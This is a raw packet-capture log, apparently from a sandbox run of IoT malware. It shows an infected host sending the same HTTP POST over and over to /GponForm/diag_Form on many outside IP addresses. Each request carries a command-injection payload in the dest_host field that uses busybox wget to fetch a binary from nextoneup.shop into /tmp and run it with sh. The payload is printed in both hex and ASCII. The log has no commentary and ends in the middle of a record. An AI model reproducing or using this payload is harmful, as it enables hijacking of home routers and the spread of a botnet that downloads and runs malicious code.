XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
938	192.168.2.23	58726	148.37.251.198	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.275882006 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
939	192.168.2.23	42124	118.176.98.193	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.275902033 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
940	192.168.2.23	35772	94.152.146.135	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.275903940 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
941	192.168.2.23	60220	118.56.131.103	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.275930882 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
942	192.168.2.23	56176	37.115.202.20	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.275990963 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
943	192.168.2.23	59196	178.43.183.236	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.276016951 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
944	192.168.2.23	60622	42.70.234.92	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.276055098 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
945	192.168.2.23	43574	94.191.12.102	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.276108980 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
946	192.168.2.23	47960	79.175.27.136	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.276155949 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
947	192.168.2.23	33076	148.58.39.18	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.276202917 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
948	192.168.2.23	58852	94.171.134.40	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.276266098 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
949	192.168.2.23	37866	94.27.146.191	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.276302099 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
950	192.168.2.23	40640	118.83.153.23	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.276333094 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
951	192.168.2.23	54414	212.244.3.143	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.276384115 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
952	192.168.2.23	58132	2.45.184.114	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.276411057 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
953	192.168.2.23	50570	42.26.193.14	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.276462078 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
954	192.168.2.23	50684	123.101.202.20	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.276510954 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
955	192.168.2.23	50990	212.141.252.159	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.276554108 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
956	192.168.2.23	60980	109.93.149.176	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.276604891 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
957	192.168.2.23	38078	117.115.223.0	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.276631117 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
958	192.168.2.23	46198	5.37.231.34	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.276665926 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
959	192.168.2.23	37896	118.73.64.223	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.276711941 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
960	192.168.2.23	57250	178.35.213.232	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.276743889 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
961	192.168.2.23	48724	178.64.16.171	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.276782036 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
962	192.168.2.23	53480	2.194.113.159	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.276913881 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
963	192.168.2.23	34902	118.173.7.133	443

Timestamp	Bytes transferred	Direction	Data
